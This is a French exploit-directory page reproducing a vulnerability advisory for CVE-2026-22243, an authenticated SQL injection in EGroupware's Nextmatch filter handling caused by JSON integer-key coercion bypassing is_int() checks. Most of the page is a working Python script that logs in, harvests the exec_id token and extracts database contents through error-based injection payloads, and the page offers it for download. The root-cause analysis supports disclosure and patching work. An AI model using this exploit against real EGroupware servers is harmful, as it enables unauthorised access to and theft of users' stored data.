Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-22243 — CVE-2026-22243 - EGroupware présente une injection SQL dans le traitement des filtres Nextmatch. | Kitploit
Outils/GitHubGitHub/lukasz-rybak/cve-2026-22243
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des Bases de Données
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware présente une injection SQL dans le traitement des filtres Nextmatch.

Voir le dépôt
15il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-22243 : EGroupware présente une injection SQL dans le traitement des filtres Nextmatch

Aperçu

ChampDétails
ID CVECVE-2026-22243
SévéritéHAUTE
AvisVoir l'avis
Découvert parLukasz Rybak

Produits concernés

  • egroupware/egroupware (versions : < 23.1.20260113)
  • egroupware/egroupware (versions : >= 26.0.20251208, < 26.0.20260113)

Classification CWE

  • CWE-89 : mauvaise neutralisation des éléments spéciaux utilisés dans une commande SQL ('Injection SQL')

Détails

Résumé

Injection SQL critique authentifiée dans le traitement des filtres du widget Nextmatch

Une vulnérabilité critique d'injection SQL existe dans les composants principaux d'EGroupware, plus précisément dans le traitement des filtres Nextmatch. Cette faille permet à des attaquants authentifiés d'injecter des commandes SQL arbitraires dans la clause WHERE des requêtes de base de données. Cela est rendu possible en exploitant un problème de manipulation des types en PHP, où le décodage JSON convertit les chaînes numériques en entiers, contournant ainsi le contrôle de sécurité is_int() utilisé par l'application.

Détails

Analyse de la cause racine

La vulnérabilité réside dans la manière dont la couche d'abstraction de base de données (Api\Db) et les classes de stockage de haut niveau (Api\Storage\Base, infolog_so) traitent le tableau col_filter utilisé dans les widgets « Nextmatch ».

L'application tente de valider l'entrée à l'aide de is_int($key) afin de déterminer si une clé de tableau représente un fragment SQL brut qui doit être considéré comme fiable. Cependant, lors du traitement des requêtes POST basées sur JSON, json_decode de PHP convertit automatiquement les clés de chaînes numériques (par exemple, "0") en entiers natifs.

Par conséquent, un attaquant peut envoyer une charge utile JSON avec un tableau associatif contenant des clés numériques. L'application interprète ces clés comme des entiers (is_int renvoie true) et ajoute aveuglément les valeurs associées — contenant du SQL malveillant — directement à la requête.

Emplacements de code vulnérables

  1. Fichier : sources/egroupware/api/src/Db.php (environ ligne 1776) Méthode : column_data_implode
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. Fichier : sources/egroupware/api/src/Storage/Base.php (environ ligne 1134) Méthode : parse_search
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

J'ai vérifié cette vulnérabilité sur une instance Docker locale et l'ai confirmée (en lecture seule) sur votre instance de démonstration publique (demo.egroupware.net).

Script d'exploitation automatisé : Le script suivant automatise la connexion, l'extraction de exec_id et l'exfiltration de données via une injection SQL basée sur les erreurs.

import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"
Télécharger l’outil